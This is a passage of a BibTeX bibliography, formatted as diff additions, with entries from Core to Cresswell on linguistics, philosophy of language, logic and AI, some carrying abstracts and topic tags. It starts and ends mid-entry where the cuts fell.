{{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;corpus-linguistics;pragmatics;} + } + +@inproceedings{ core-schubert:1999a, + author = {Mark G. Core and Lenhart K. Schubert}, + title = {A Model of Speech Repairs and Other Disruptions}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {48--53}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;speech-repairs;hesitation-noises; + discourse-interruptions;} + } + +@article{ cormack:1987a, + author = {Annabel Cormack}, + title = {Review of {\it {M}ental Spaces}, by {G}iles {F}auconnier}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {2}, + pages = {247--260}, + xref = {Review of fauconnier:1985b.}, + topic = {nl-semantics;} + } + +@article{ cormak-kempson:1981b, + author = {Annabel Cormak and Ruth Kempson}, + title = {On `Formal Games and Forms of Games'\, } , + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {431--435}, + xref = {Discussion of kempson-cormak:1981a, tennant_n:1981a.}, + topic = {ambiguity;nl-quantifier-scope;nl-quantifiers; + semantic-underspecification;} + } + +@incollection{ cormak:1984a, + author = {Annabel Cormak}, + title = {{VP} Anaphora: Variables and Scope}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {81--102}, + address = {Dordrecht}, + topic = {nl-semantics;verb-phrase-anaphora;} + } + +@incollection{ correadasilva-etal:1991a, + author = {Fl\'avio S. Corr\'ea da Silva and Dave Robertson and Paul + Chung}, + title = {Automated Reasoning about an Uncertain Domain}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {141--145}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;logic-programming;fuzzy-logic;} + } + +@article{ correia:2000a, + author = {Fabrice Correia}, + title = {Propositional Logic of Essence}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {3}, + pages = {295--313}, + topic = {modal-logic;reference;individuation;} + } + +@book{ corriveau:1995a, + author = {Jean-Pierre Corriveau}, + title = {Time-Constrained Memory: A Reader-Based + Approach to Text Comprehension}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + xref = {Review: graesser:1996a.}, + topic = {text-comprehension;memory;memory-models;language-and-cognition;} + } + +@article{ corruble-ganascia:1997a, + author = {Vincent Corruble and Jean-Gabriel Ganascia}, + title = {Induction and the Discovery of the Causes of Scurvy: A + Computational Reconsruction}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {2}, + pages = {205--223}, + topic = {automated-scientific-discovery;induction;} + } + +@incollection{ corstonoliver:1998a, + author = {Simon H. Corston-Oliver}, + title = {Identifying the Linguistic Correlates of Rhetorical + Relations}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {8--14}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure; + empirical-methods-in-discourse;} + } + +@incollection{ corstonoliver:2000a, + author = {Simon Corston-Oliver}, + title = {Using Decision Trees to Select the Grammatical Relation of + a Noun Phrase}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {66--73}, + address = {Somerset, New Jersey}, + topic = {grammatical-relations;statistical-nlp;} + } + +@article{ corstonoliver:2000b, + author = {Simon Corston-Oliver}, + title = {Review of {\it Natural Language Information Retrieval}, + edited by {T}omek {S}trzalkowski}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {460--462}, + xref = {Review of: strzalkowski:1999a.}, + topic = {computational-linguistics;information-retrieval;} + } + +@incollection{ coscoy:1997a, + author = {Yann Coscoy}, + title = {A Natural Language Explanation for Formal Proofs}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {149--167}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;nl-generation-from-proofs;} + } + +@incollection{ costa:1995a, + author = {Horacio L. Arl\'o Costa}, + title = {Epistemic Logic, Snakes, and Stars}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {193--239}, + address = {Oxford}, + topic = {conditionals;belief-revision;CCCP;} + } + +@inproceedings{ costello:1995a, + author = {Tom Costello}, + title = {Relating Formalizations of Actions}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action;planning-formalisms;foundations-of-planning;} + } + +@incollection{ costello:1996a, + author = {Tom Costello}, + title = {Modeling Belief Change Using Counterfactuals}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {432--443}, + address = {San Francisco, California}, + topic = {belief-revision;conditionals;} + } + +@article{ costello:1998a, + author = {Tom Costello}, + title = {The Expressive Power of Circumsciption}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {313--329}, + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ costello-patterson:1998a, + author = {Tom Costello and Anna Patterson}, + title = {Quantifiers and Operations on Modalities and Contexts}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {270--281}, + address = {San Francisco, California}, + topic = {kr;context;modal-logic;kr-course;logic-of-context;} + } + +@incollection{ costemarquis-marquis:2002a, + author = {Sylvie Coste-Marquis and Pierre Marquis}, + title = {Complexity Results for Paraconsistent Inference + Relations}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {61--72}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;paraconsistency;} + } + +@incollection{ cote:1997a, + author = {Sharon Cote}, + title = {Ranking Forward-Looking Centers}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {55--69}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;centering;} + } + +@book{ coulthard:1977a, + author = {Malcolm Coulthard}, + title = {An Introduction to Discourse Analysis}, + publisher = {Longman}, + year = {1977}, + address = {London}, + topic = {discourse-analysis;text-linguistics;discourse;pragmatics;} +} + +@incollection{ coulthard-brazil:1979a, + author = {Malcolm Coulthard and D. Brazil}, + title = {Exchange Structure}, + booktitle = {Studies in Discourse Analysis}, + publisher = {Routledge and Kegan Paul}, + year = {1981}, + editor = {Malcolm Coulthard and Martin Montgomery}, + pages = {82--106}, + address = {London}, + missinginfo = {A's 1st name.}, + topic = {discourse-analysis;speech-acts;pragmatics;} + } + +@book{ coulthard-montgomery:1981a, + editor = {Malcolm Coulthard and Martin Montgomery}, + title = {Studies in Discourse Analysis}, + publisher = {Routledge and Kegan Paul}, + year = {1981}, + address = {London}, + topic = {pragmatics;text-linguistics;discourse-analysis;discourse;} +} + +@incollection{ coulthard_m:1994a, + author = {Malcolm Coulthard}, + title = {Analysing and Evaluating Written Text}, + booktitle = {Advances in Written Text Analysis}, + publisher = {Routledge}, + year = {1994}, + editor = {Malcolm Coulthard}, + pages = {1--11}, + address = {New York}, + topic = {writing;} +} + +@book{ couperkuhlen-selting:1996a, + editor = {Elizabeth Couper-Kuhlen}, + title = {Prosody in Conversation}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {intonation;prosody;discourse;pragmatics;} + } + +@article{ coupley-fouquere:1997a, + author = {Pascal Coupley and Christophe Fouquer\'e}, + title = {Extending Conceptual Definitions with Default Knowledge}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {2}, + pages = {258--299}, + topic = {extensions-of-kl1;nonmonotonic-reasoning;nonmonotonic-logic;} + } + +@incollection{ cousot:1990a, + author = {P. Cousot}, + title = {Methods and Logics for Proving Programs}, + booktitle = {Handbook of Theoretical Computer Science, Vol. B: + Algorithms and Complexity}, + publisher = {Elsevier}, + year = {1990}, + editor = {Jan {van Leeuven}}, + pages = {841--993}, + address = {Amsterdam}, + missinginfo = {A's 1st name.}, + topic = {program-verification;} + } + +@incollection{ covington:1986a, + author = {Michael A. Covington}, + title = {Grammatical Theory in the Middle Ages}, + booktitle = {Studies in the History of Western Linguistics}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {F.R. Palmer}, + pages = {23--42}, + address = {Cambridge, England}, + topic = {history-of-linguistics;} + } + +@techreport{ covington-etal:1988a, + author = {Michael A. Covington and Donald Nute and Nora Schmitz + and David Goodman}, + title = {From {E}nglish to {P}rolog via Discourse Representation + Theory}, + institution = {Advanced Computational Research Center, University + of Georgia}, + number = {01--0024}, + year = {1988}, + address = {Athens, Georgia}, + topic = {discourse-representation-theory;nl-interpretation;} + } + +@book{ covington:1994a, + author = {Michael A. Covington}, + title = {Natural Language Processing for {P}rolog + Programmers}, + publisher = {Prentice-Hall}, + year = {1994}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0-13-629213-5}, + topic = {nlp-programming;nlp-intro;} + } + +@inproceedings{ covington:1998a, + author = {Michael A. Covington}, + title = {Alignment of Multiple Languages for Historical + Comparison}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {275--280}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-historical-linguistics;} +} + +@book{ cowie:1998a, + editor = {A.P. Cowie}, + title = {Phraseology : Theory, Analysis, and Applications}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0198294255}, + topic = {collocations;corpus-linguistics;} + } + +@incollection{ cowles:1994a, + author = {David Cowles}, + title = {On {V}an {I}nwagen's Defense of Vague Identity}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {137--158}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {vagueness;identity;} + } + +@article{ cox_ij-leonard_jj:1994a, + author = {Ingemar J. Cox and John J. Leonard}, + title = {Modeling a Dynamic Environment Using a {B}ayesian Multiple + Hypothesis Approach}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {2}, + pages = {311--344}, + acontentnote = {Abstract: + Dynamic world modeling requires the integration of multiple + sensor observations obtained from multiple vehicle locations at + different times. A crucial problem in this interpretation task + is the presence of uncertainty in the origins of measurements + (data association or correspondence uncertainty) as well as in + the values of measurements (noise uncertainty). Almost all + previous work in robotics has not distinguished between these + two very different forms of uncertainty. In this paper we + propose to model the uncertainty due to noise, e.g. the error in + an object's position, by conventional covariance matrices. To + represent the data association uncertainty, an hypothesis tree + is constructed, the branches at any node representing different + possible assignments of measurements to features. A rigorous + Bayesian data association framework is then introduced that + allows the probability of each hypothesis to be calculated. + These probabilities can be used to guide an intelligent pruning + strategy. The multiple hypothesis tree allows decisions + concerning the assignment of measurements to be postponed. + Instead, many different hypotheses are considered. Expected + observations are predicted for each hypothesis and these are + compared with actual measurements. Hypotheses that have their + predictions supported by measurements increase in probability + compared with hypotheses whose predictions are unsupported. By + ``looking ahead'' two or three time steps and examining the + probabilities at the leaves of the tree, very accurate + assignment decisions can be made. For dynamic world modeling, + the approach results in multiple world models at a given time + step, each one representing a possible interpretation of all + past and current measurements and each having an associated + probability. In addition, each geometric feature has an + associated covariance that models the uncertainty due to noise. + This framework is independent of the sensing modality, being + applicable to most temporal data association problems. It is + therefore appropriate for the broad class of vision, acoustic + and range sensors currently used on existing mobile robots. + Preliminary results using ultrasonic range data demonstrate the + feasibility of the approach. } , + topic = {robotics;dynamic-systems;reasoning-about-noisy-sensors;} + } + +@article{ cox_jwr:1963a, + author = {J.W. Roxbee Cox}, + title = {Can {I} Know Beforehand What {I} Am Going to Decide?}, + journal = {The Philosophical Review}, + year = {1963}, + volume = {72}, + pages = {88--92}, + missinginfo = {number}, + xref = {Discussion of ginet:1962a.}, + topic = {freedom;causality;} + } + +@article{ cox_mt-ram:1999a, + author = {Michael T. Cox and Ashwin Ram}, + title = {Introspective Multistrategy Learning: On the Construction + of Learning Strategies}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + number = {1--2}, + pages = {1--55}, + acontentnote = {Abstract: + A central problem in multistrategy learning systems is the + selection and sequencing of machine learning algorithms for + particular situations. This is typically done by the system + designer who analyzes the learning task and implements the + appropriate algorithm or sequence of algorithms for that task. + We propose a solution to this problem which enables an AI system + with a library of machine learning algorithms to select and + sequence appropriate algorithms autonomously. Furthermore, + instead of relying on the system designer or user to provide a + learning goal or target concept to the learning system, our + method enables the system to determine its learning goals based + on analysis of its successes and failures at the performance + task. The method involves three steps: Given a performance + failure, the learner examines a trace of its reasoning prior to + the failure to diagnose what went wrong (blame assignment); + given the resultant explanation of the reasoning failure, the + learner posts explicitly represented learning goals to change + its background knowledge (deciding what to learn); and given a + set of learning goals, the learner uses nonlinear planning + techniques to assemble a sequence of machine learning + algorithms, represented as planning operators, to achieve the + learning goals (learning-strategy construction). In support of + these operations, we define the types of reasoning failures, a + taxonomy of failure causes, a second-order formalism to + represent reasoning traces, a taxonomy of learning goals that + specify desired change to the background knowledge of a system, + and a declarative task-formalism representation of learning + algorithms. We present the Meta-AQUA system, an implemented + multistrategy learner that operates in the domain of story + understanding. Extensive empirical evaluations of Meta-AQUA show + that it performs significantly better in a deliberative, planful + mode than in a reflexive mode in which learning goals are + ablated and, furthermore, that the arbitrary ordering of + learning algorithms can lead to worse performance than no + learning at all. We conclude that explicit representation and + sequencing of learning goals is necessary for avoiding negative + interactions between learning algorithms that can lead to less + effective learning. } , + topic = {machine-learning;metareasoning;case-based-reasoning;} + } + +@inproceedings{ cox_pt-pietrzykowski:1986a, + author = {P. T. Cox and T. Pietrzykowski}, + title = {Causes for Events: Their Computation and Applications}, + booktitle = {Proceedings, Eighth International Conference on + Automated Deduction (CADE-8)}, + year = {1986}, + editor = {J. Siekmann}, + pages = {608--621}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {A's 1st name, E's 1st name}, + contentnote = {This is what Stickel calls "most specific abduction".}, + topic = {causality;events;abduction;} + } + +@inproceedings{ cox_pt-pietrzykowski:1987a, + author = {P.T. Cox and T. Pietrzykowski}, + title = {General Diagnosis for Abductive Inference}, + booktitle = {Proceedings of the 1987 Symposium on Logic + Programming}, + year = {1987}, + pages = {183--189}, + contentnote = {This is what Stickel calls "most specific abduction".}, + missinginfo = {A's 1st name, organization, publisher}, + topic = {theorem-proving;abduction;} + } + +@book{ coyne:1988a, + author = {Richard Coyne}, + title = {Logic Models of Design}, + publisher = {Pitman}, + year = {1988}, + address = {London}, + ISBN = {0 273 08797 5}, + topic = {logic-programming;planning;macro-formalization;logic-in-cs; + CAD;spatial-arrangement-tasks;} + } + +@article{ cozman:2000a, + author = {Fabio G. Cozman}, + title = {Credal Networks}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {2}, + pages = {199--233}, + acontentnote = {Abstract: + This paper presents a complete theory of credal networks, + structures that associate convex sets of probability measures + with directed acyclic graphs. Credal networks are graphical + models for precise/imprecise beliefs. The main contribution of + this work is a theory of credal networks that displays as much + flexibility and representational power as the theory of standard + Bayesian networks. Results in this paper show how to express + judgements of irrelevance and independence, and how to compute + inferences in credal networks. A credal network admits several + extensions---several sets of probability measures comply with + the constraints represented by a network. Two types of + extensions are investigated. The properties of strong extensions + are clarified through a new generalization of d-separation, and + exact and approximate inference methods are described for strong + extensions. Novel results are presented for natural extensions, + and linear fractional programming methods are described for + natural extensions. The paper also investigates credal networks + that are defined globally through perturbations of a single + network.}, + topic = {graph-based-reasoning;credal-networks; + reasoning-about-uncertainty;bayesian-networks;} + } + +@article{ crabbe:2000a, + author = {Marcel Crabb\'e}, + title = {The Rise and Fall of Typed Sentences}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {4}, + pages = {1858--1862}, + contentnote = {This has to do with New Foundations.}, + topic = {type-theory;set-theory;} + } + +@incollection{ craig-tracey:1983b, + author = {Robert T. Craig and Karen Tracey}, + title = {Introduction}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + address = {London}, + missinginfo = {pages}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@book{ craig-tracy:1983a, + editor = {Robert T. Craig and Karen Tracey}, + title = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@unpublished{ crain-fodor_jd:1980a, + author = {Stephen Crain and Janet D. Fodor}, + title = {How Can Grammers Help Parsers?}, + year = {1980}, + note = {Unpublished manuscript, University of Connecticut}, + missinginfo = {Year is a wild guess.}, + topic = {parsing-psychology;} + } + +@incollection{ crain-steedman:1985a, + author = {Stephen Crain and Mark Steedman}, + title = {On Not Being Led Up the Garden Path: The Use of Context by + the Psychological Parser}, + booktitle = {Natural Language Parsing: Psychological, Computational + and Theoretical Perspectives}, + publisher = {Cambridge University Press}, + year = {1985}, + editor = {David Dowty and Lauri Karttunen and Arnold Zwicky}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {parsing-psychology;context;} + } + +@book{ crain-thornton:1998a, + author = {Stephen Crain and Rosalind Thornton}, + title = {Investigations in Universal Grammar: A Guide to + Experiments on the Acquisition of Syntax and Semantics}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + xref = {Review: guerts:2000a}, + topic = {L1-acquisition;semantics-acquisition;} + } + +@article{ crain-pietroski:2001a, + author = {Stephen Crain and Paul Pietroski}, + title = {Nature, Nurture, and Universal Grammar}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {2}, + pages = {139--186}, + topic = {L1-acquisition;universal-grammar;} + } + +@incollection{ crampe-euzenat:1998a, + author = {Isabelle Cramp\'e and J\'er\^ome Euzenat}, + title = {Object Knowledge Base Revision}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {3--7}, + address = {Chichester}, + topic = {knowledge-base-revision;} + } + +@book{ crane:1996a, + editor = {Tim Crane}, + title = {Dispositions: A Debate}, + publisher = {Routledge}, + year = {1996}, + address = {London}, + ISBN = {0415144329}, + note = {A debate involving David M. Armstrong, C.B. Martin and + U.T. Place.}, + topic = {dispositions;} + } + +@article{ crane:2000a, + author = {Tim Crane}, + title = {Review of {\it The Paradox of Self-Consciousness}, by + {J}os\'e Luis Berm\'udez}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {624--627}, + xref = {Review of bermudez:1998a.}, + topic = {philosophy-of-mind;} + } + +@article{ craven-etal:2000a, + author = {Mark Craven and Dan DiPasquo and Dayne Freitag and + Andrew McCallum and Tom Mitchell and Kamal Nigan + and S\'ean Slattery}, + title = {Learning to Construct Knowledge Bases from the World Wide + Web}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {69--113}, + acontentnote = {Abstract: + The World Wide Web is a vast source of information accessible to + computers, but understandable only to humans. The goal of the + research described here is to automatically create a computer + understandable knowledge base whose content mirrors that of the + World Wide Web. Such a knowledge base would enable much more + effective retrieval of Web information, and promote new uses of + the Web to support knowledge-based inference and problem + solving. Our approach is to develop a trainable information + extraction system that takes two inputs. The first is an + ontology that defines the classes (e.g., company, person, + employee, product) and relations (e.g., employed_by, + produced_by) of interest when creating the knowledge base. The + second is a set of training data consisting of labeled regions + of hypertext that represent instances of these classes and + relations. Given these inputs, the system learns to extract + information from other pages and hyperlinks on the Web. This + article describes our general approach, several machine learning + algorithms for this task, and promising initial results with a + prototype system that has created a knowledge base describing + university people, courses, and research projects.}, + topic = {AI-and-the-internet;machine-learning; + computational-ontology;intelligent-information-retrieval;} + } + +@inproceedings{ cravo-etal:1999a, + author = {Maria Cravo and Jo\~ao Cachopo and Ana Cachopo + and Jo\~ao Martins}, + title = {Permissive Belief Revision (Preliminary Report)}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {17--24}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {belief-revision;} + } + +@incollection{ crawford-kuipers_bj:1989a, + author = {James M. Crawford and Benjamin Kuipers}, + title = {Towards a Theory of Access-Limited Logic for Knowledge + Representation}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {67--78}, + address = {San Mateo, California}, + topic = {knowledge-representation;semantic-networks;} + } + +@phdthesis{ crawford:1990a, + author = {James Crawford}, + title = {Access-Limited Logic---A Language for Knowledge + Representation}, + school = {Department of Computer Science, University of Texas at + Austin}, + year = {1990}, + type = {Ph.{D}. Dissertation}, + address = {Austin, Texas}, + note = {Also Technical Report {AI}90--141, Artificial Intelligence + Laboratory, University of Texas at Austin.}, + topic = {knowledge-representation;semantic-networks;} + } + +@inproceedings{ crawford:1990b, + author = {James Crawford and Adam Farquhar and Benjamin Kuipers}, + title = {{QPC}: a Compiler From Physical Models Into Qualitative + Differential Equations}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + pages = {365--372}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {qualitative-physics;} + } + +@inproceedings{ crawford-etherington:1992a, + author = {James M. Crawford and David W. Etherington}, + title = {Formalizing Reasoning about Change: a Qualitative + Reasoning Approach}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {577--583}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@inproceedings{ crawford-auton:1993a, + author = {James M. Crawford and L.D. Anton}, + title = {Experimental Results on the Crossover Point in Satisfiability + Problems}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {21--27}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + contentnote = {Efficient implementation of np-complete algs.}, + topic = {experiments-on-theorem-proving-algs;} + } + +@inproceedings{ crawford-etherington:1995a, + author = {James M. Crawford and David W. Etherington}, + title = {Observations on Observations in Action Theories}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action;planning-formalisms;foundations-of-planning;} + } + +@article{ crawford-anton:1996a, + author = {James M. Crawford and L.D. Anton}, + title = {Experimental Results on the Crossover Point in Random + 3-{SAT}}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {31--57}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@incollection{ crawford-etal:1996a, + author = {James Crawford and Matthew L. Ginsberg and Eugene Luck and + Amitabha Roy}, + title = {Symmetry-Breaking Predicates for Search Problems}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {148--159}, + address = {San Francisco, California}, + topic = {kr;kr-course;complexity-in-AI;theorem-proving;planning;search;} + } + +@inproceedings{ crawford-litman:1996a, + author = {James M. Crawford and Diane Litman}, + title = {Path-Based Rules in Object-Oriented Programming}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {490--497}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;krcourse;object-oriented-systems;expert-systems;} + } + +@article{ creaney:1998a, + author = {Norman Creaney}, + title = {Review of {\it Surface Structure and Interpretation}, by + {M}ark {S}teedman}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {177--179}, + xref = {Review of steedman:1997a.}, + topic = {nl-semantics;categorial-grammar;} + } + +@inproceedings{ creary:1979a, + author = {Lewis G. Creary}, + title = {Propositional Attitudes: {F}regean Representation and + Simulative Reasoning}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1979}, + editor = {Bruce Buchanan}, + pages = {176--181}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {propositional-attitudes;} + } + +@unpublished{ creary-pollard:1985a, + author = {Lewis G. Creary and Carl J. Pollard}, + title = {A Computational Semantics for Natural Language}, + year = {1985}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess. This is clearly a preprint but I do + not have the reference.}, + topic = {computational-semantics;HPSG;} + } + +@article{ creath:1977a, + author = {Richard Creath}, + title = {The Root of the Problem}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {273--275}, + xref = {Comment on root:1977a.}, + topic = {synonymy;philosophy-of-language;} + } + +@article{ cremers:1996a, + author = {Anita Cremers}, + title = {Review of {\it {D}eixis in {N}arrative: {A} {C}ognitive {S}cience + {P}erspective}, by {J}udith {F}. {D}uchan, {G}ail {A}. {B}ruder, and + {L}ynne {E}. {H}ewitt}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {448--449}, + topic = {deixis;psycholinguistics;pragmatics;} + } + +@article{ cresswell_mj:1967a, + author = {Max J. Cresswell}, + title = {Propositional Identity}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1967}, + volume = {10}, + number = {39--40}, + pages = {283--292}, + topic = {propositions;higher-order-logic;modal-logic;} + } + +@article{ cresswell_mj:1968a, + title = {The Representation of Intensional Logics}, + author = {Max J. Cresswell}, + journal = {Zeitschrift f\"ur Mathematische Logik und + Grundlagen der Mathematik}, + year = {1968}, + volume = {14}, + pages = {289--298}, + topic = {modal-logic;} + } + +@article{ cresswell_mj:1970a, + author = {Max J. Cresswell}, + title = {Classical Intensional Logics}, + journal = {Theoria}, + year = {1970}, + volume = {36}, + pages = {347--372}, + missinginfo = {number}, + topic = {modal-logic;} + } + +@article{ cresswell_mj:1972a, + author = {Max J. Cresswell}, + title = {Intensional Logics and Logical Truth}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + pages = {2--15}, + topic = {modal-logics;intensional-logic;} + } + +@book{ cresswell_mj:1973a, + author = {Max J. Cresswell}, + title = {Logics and Languages}, + publisher = {Methuen}, + year = {1973}, + address = {London}, + contentnote = {TC: + 1. Syn & Sem of Propositional Languages + 2. Propositional Logics + 3. The Metaphysics of Propositions + 4. The Structure of Propositions + 5. Pure Categorial Languages + 6. Abstraction and \lambda-categorial languages + 7. The Metaphysics of Categorial Languages + 8. Pragmatics + 9. Some Parts of Speech + 10. More Parts of Speech + 11. Context-Dependence in English + 12. Words and Morphemes + 13. Obtaining Natural Languages + 14. Meaning and Use + } , + xref = {Review: guenthner:1977a.}, + topic = {nl-semantics;pragmatics;speech-acts;pragmatics; + categorial-grammar;} + } + +@article{ cresswell_mj:1973b, + author = {Max J. Cresswell}, + title = {Physical Theories and Possible Worlds}, + journal = {Logique et Analyse, Nuuvelle S\'erie}, + year = {1973}, + volume = {16}, + number = {63--64}, + pages = {495--511}, + topic = {philosophy-of-possible-worlds;} + } + +@article{ cresswell_mj:1973c, + author = {Max J. Cresswell}, + title = {Review of {\it Philosophical Problems in Logic: Some + Recent Developments}, edited by {K}arel {L}ambert}, + journal = {Synth\'ese}, + year = {1973}, + volume = {85}, + number = {1}, + pages = {158--164}, + xref = {Review of: lambert_k:1969a.}, + topic = {philosophical-logic;} + } + +@article{ cresswell_mj:1974a, + author = 